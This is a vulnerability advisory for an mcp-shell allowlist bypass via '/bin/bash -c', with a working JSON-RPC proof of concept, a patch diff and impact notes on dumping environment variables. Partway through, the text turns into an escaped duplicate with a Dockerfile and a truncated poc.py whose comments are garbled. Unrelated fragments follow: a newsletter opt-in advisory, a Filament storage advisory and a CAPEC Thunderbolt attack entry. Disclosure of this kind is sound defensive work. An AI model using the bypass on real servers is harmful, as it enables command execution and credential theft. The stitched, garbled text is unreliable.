Vulnerability from github – Published: 2026-08-25 15:41 – Updated: 2026-08-25 15:41Summary
mcp-shell ships a default Docker configuration (security.yaml) that includes /bin/bash in the allowed_executables allowlist. The command validator (security.go) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as -c. As a result, any MCP tool caller can send command=/bin/bash -c <arbitrary-command> to the shell_exec tool and execute commands that are not in the allowlist — including id, env, curl, wget, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as mcpuser.
Details
mcp-shell implements a secure mode in which command execution is restricted to an explicit allowlist of executables defined in security.yaml. The Docker image ships this file with the following entry:
# security.yaml (line 29)
allowed_executables:
- "ls"
- ...
- "/bin/bash" # Only allow if you trust the arguments
The comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in security.go is responsible for enforcing secure mode:
// security.go:84-96
for _, allowed := range v.config.AllowedExecutables {
if v.matchesExecutable(executable, allowed) {
if err := v.checkBlockedPatternsAndCommands(command); err != nil {
return err
}
return nil
}
}
executable is derived solely from parts[0] after splitting the input on whitespace (security.go:67). When the command is /bin/bash -c id, executable evaluates to /bin/bash, which matches the allowlist entry. The -c flag and subsequent arguments are passed to checkBlockedPatternsAndCommands, which only checks for shell metacharacters (|, &, ;, <, >, (, ), {, }, [, ], `, $, \, ", ') and a configurable list of blocked_commands/blocked_patterns — both of which default to empty arrays in the shipped configuration. The flag -c does not match any blocked metacharacter, so the check passes.
The validated command then reaches the executor:
// executor.go:149-163
executable, args, err := e.parseCommand(command)
// ...
cmd = exec.CommandContext(ctx, executable, args...)
parseCommand splits the command string, yielding executable="/bin/bash" and args=["-c", "id"]. exec.CommandContext is invoked directly — no shell is spawned by the executor itself — but /bin/bash -c id is equivalent to a shell invocation, executing id outside the allowlist.
Data flow (source → sink):
| Step | Location | Description |
|---|---|---|
| 1 | Dockerfile:55 |
COPY security.yaml /etc/mcp-shell/security.yaml — bundles vulnerable config into image |
| 2 | Dockerfile:57 |
ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml — activates config by default |
| 3 | security.yaml:29 |
/bin/bash registered in allowed_executables |
| 4 | main.go:84-102 |
MCP tool shell_exec registered with required command parameter |
| 5 | handler.go:34 |
command := request.RequireString("command") — attacker-controlled input received |
| 6 | handler.go:49 |
h.validator.validateCommand(command) — validation called |
| 7 | security.go:67-96 |
executable = parts[0] matches /bin/bash; -c not blocked; returns nil |
| 8 | handler.go:59 |
Validated command forwarded to executor |
| 9 | executor.go:163 |
exec.CommandContext(ctx, "/bin/bash", "-c", "id") — sink: arbitrary execution |
PoC
Prerequisites:
- Docker installed and accessible.
- Repository source code checked out (build context is the repository root).
python3available (for the automated PoC script).
Step 1 — Build the Docker image
docker build \
-f vuln-001/Dockerfile \
/path/to/mcp-shell-repo \
-t mcp-shell-vuln-001:latest
Step 2 — Run the PoC script
python3 vuln-001/poc.py mcp-shell-vuln-001:latest
The script sends three MCP JSON-RPC requests over stdio:
initializehandshaketools/call shell_execwithcommand="/bin/bash -c id"— exploit payloadtools/call shell_execwithcommand="id"— control: direct invocation must be blocked
Expected output (exploit success):
[id=2] /bin/bash -c id response:
→ status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'
[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution successful!
[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)
→ allowlist bypass /bin/bash -c only through the path occurs proven
Alternatively, using raw printf (no Python required):
printf '%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \
'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \
| docker run --rm -i mcp-shell-vuln-001:latest
Observed MCP response:
{
"command": "/bin/bash -c id",
"execution_time": "3.854555ms",
"exit_code": 0,
"security_info": {"security_enabled": true, "working_dir": "/tmp", "timeout_applied": true},
"status": "success",
"stderr": "",
"stdout": "uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)"
}
Remediation (patch guidance):
- Remove shell interpreters from the default
security.yamlallowlist:
--- a/security.yaml
+++ b/security.yaml
- - "/bin/bash" # Only allow if you trust the arguments
- Add argument-level validation in
security.goto block shell command-mode flags even when a shell interpreter is allowlisted:
--- a/security.go
+++ b/security.go
executable := parts[0]
+ args := parts[1:]
+
+ if isShellCommandMode(executable, args) {
+ return fmt.Errorf("shell command mode is not allowed in secure mode: %s", executable)
+ }
// Check if the executable is in the allowlist
for _, allowed := range v.config.AllowedExecutables {
...
}
+
+ func isShellCommandMode(executable string, args []string) bool {
+ base := filepath.Base(executable)
+ switch base {
+ case "sh", "bash", "dash", "ash", "zsh", "ksh":
+ for _, arg := range args {
+ if arg == "-c" || (strings.HasPrefix(arg, "-") && strings.Contains(arg, "c")) {
+ return true
+ }
+ }
+ }
+ return false
+ }
Impact
This is an OS Command Injection vulnerability (CWE-78). The shell_exec MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (curl, wget, env, sed, grep, tar, etc. — all installed by the Dockerfile) under the identity of mcpuser (UID 1000).
Who is impacted:
- Any operator deploying the official Docker image without modifying the default
security.yamlis vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required. - MCP clients that interact with a vulnerable
mcp-shellinstance — including automated AI agents, LLM orchestration platforms, and CI/CD pipelines — may be leveraged to exfiltrate secrets, tamper with files accessible tomcpuser, or pivot further within the container's network. - The
--network=noneflag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.
Concrete consequences of exploitation:
- Confidentiality: Dump environment variables (
/bin/bash -c env), read files, or exfiltrate credentials visible tomcpuser. - Integrity: Write or modify files within the container's writable filesystem.
- Availability: Consume container resources or terminate processes.

Add argument-level validation in `security.go` to block shell command-mode flags even when a shell interpreter is allowlisted:\n\n```diff\n--- a/security.go\n+++ b/security.go\n executable := parts[0]\n+ args := parts[1:]\n+\n+ if isShellCommandMode(executable, args) {\n+ return fmt.Errorf(\"shell command mode is not allowed in secure mode: %s\", executable)\n+ }\n\n // Check if the executable is in the allowlist\n for _, allowed := range v.config.AllowedExecutables {\n ...\n }\n+\n+ func isShellCommandMode(executable string, args []string) bool {\n+ base := filepath.Base(executable)\n+ switch base {\n+ case \"sh\", \"bash\", \"dash\", \"ash\", \"zsh\", \"ksh\":\n+ for _, arg := range args {\n+ if arg == \"-c\" || (strings.HasPrefix(arg, \"-\") \u0026\u0026 strings.Contains(arg, \"c\")) {\n+ return true\n+ }\n+ }\n+ }\n+ return false\n+ }\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). The `shell_exec` MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (`curl`, `wget`, `env`, `sed`, `grep`, `tar`, etc. \u2014 all installed by the Dockerfile) under the identity of `mcpuser` (UID 1000).\n\n**Who is impacted:**\n\n- **Any operator** deploying the official Docker image without modifying the default `security.yaml` is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.\n- **MCP clients** that interact with a vulnerable `mcp-shell` instance \u2014 including automated AI agents, LLM orchestration platforms, and CI/CD pipelines \u2014 may be leveraged to exfiltrate secrets, tamper with files accessible to `mcpuser`, or pivot further within the container\u0027s network.\n- The `--network=none` flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.\n\n**Concrete consequences of exploitation:**\n\n- **Confidentiality:** Dump environment variables (`/bin/bash -c env`), read files, or exfiltrate credentials visible to `mcpuser`.\n- **Integrity:** Write or modify files within the container\u0027s writable filesystem.\n- **Availability:** Consume container resources or terminate processes.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c\n# build context: ../repo directory\n# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest\n\n# Build stage\nFROM golang:1.25-alpine AS builder\n\nRUN apk add --no-cache git\n\nWORKDIR /app\n\nCOPY go.mod go.sum ./\nRUN go mod download\n\nCOPY *.go ./\n\nARG VERSION=vuln-001-poc\nRUN CGO_ENABLED=0 GOOS=linux go build \\\n -ldflags \"-X main.version=${VERSION} -s -w\" \\\n -a -installsuffix cgo \\\n -o mcp-shell .\n\n# Runtime stage\nFROM alpine:3.22\n\nRUN apk add --no-cache \\\n bash \\\n curl \\\n wget \\\n git \\\n make \\\n findutils \\\n grep \\\n sed \\\n gawk \\\n tar \\\n gzip \\\n unzip \\\n ca-certificates \\\n \u0026\u0026 rm -rf /var/cache/apk/*\n\nRUN addgroup -g 1000 mcpuser \u0026\u0026 \\\n adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser\n\nRUN mkdir -p /tmp/mcp-workspace \u0026\u0026 \\\n chown mcpuser:mcpuser /tmp/mcp-workspace\n\nRUN mkdir -p /etc/mcp-shell \u0026\u0026 \\\n chown mcpuser:mcpuser /etc/mcp-shell\n\nCOPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell\nRUN chmod +x /usr/local/bin/mcp-shell\n\n# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone\nCOPY security.yaml /etc/mcp-shell/security.yaml\n\nENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml\nENV PATH=\"/usr/local/bin:${PATH}\"\n\nUSER mcpuser\nWORKDIR /tmp/mcp-workspace\n\nENTRYPOINT [\"mcp-shell\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c\n\nVulnerability summary:\n security.yamltext allowed_executablestext /bin/bash text registerbecomes text,\n validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand\n -c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext\n executor.go:163 from exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\") text executebecomes\n allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.\n\nusage:\n python3 poc.py [IMAGE_NAME]\n default text: mcp-shell-vuln-001:latest\n\"\"\"\n\nimport subprocess\nimport json\nimport sys\n\nIMAGE = sys.argv[1] if len(sys.argv) \u003e 1 else \"mcp-shell-vuln-001:latest\"\n\n\ndef make_msg(obj):\n return json.dumps(obj, separators=(\u0027,\u0027, \u0027:\u0027))\n\n\n# MCP JSON-RPC message whentext\nMESSAGES = [\n #

Vulnerability from github – Published: 2025-04-09 13:53 – Updated: 2025-09-10 21:09Impact
Currently the default settings for double-opt-in allow for mass unsolicited newsletter sign-ups without confirmation.
Default settings are:
Newsletter: Double Opt-in - active
Newsletter: Double opt-in for registered customers - disabled
Log-in & sign-up: Double opt-in on sign-up - disabled
With these settings, anyone can register an account on the shop using any e-mail-address and then check the check-box in the account page to sign up for the newsletter. The recipient will receive two mails confirming registering and signing up for the newsletter, no confirmation link needed to be clicked for either. In the backend the recipient is set to “instantly active”.
Patches

GHSA-4HXW-GC2Q-F6F3
Vulnerability from github – Published: 2024-11-07 16:14 – Updated: 2026-06-08 20:07All Filament features that interact with storage use the default_filesystem_disk config option. This allows the user to easily swap their storage driver to something production-ready like s3 when deploying their app, without having to touch multiple configuration options and potentially forgetting about some.
The default disk is set to public when you first install Filament, since this allows users to quickly get started developing with a functional disk that allows features such as file upload previews locally without the need to set up an S3 disk with temporary URL support.
However, some features of Filament such as exports also rely on storage, and the files that are stored contain data that should often not be public. This is not an issue for the many deployed applications, since many use a secure default disk such as S3 in production. However, CWE-1188 suggests that having the public disk as the default disk in Filament is a security vulnerability itself:
Developers often choose default values that leave the product as open and easy to use as possible out-of-the-box, under the assumption that the administrator can (or should) change the default value. However, this ease-of-use comes at a cost when the default is insecure and the administrator does not change it.
As such, we have implemented a measure to protect users whereby if the public disk is set as the default disk, the exports feature will automatically swap it out for the local disk, if that exists. Users who set the default disk to local or s3 already are not affected. If a user wants to continue to use the public disk for exports, they can by setting the export disk deliberately.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
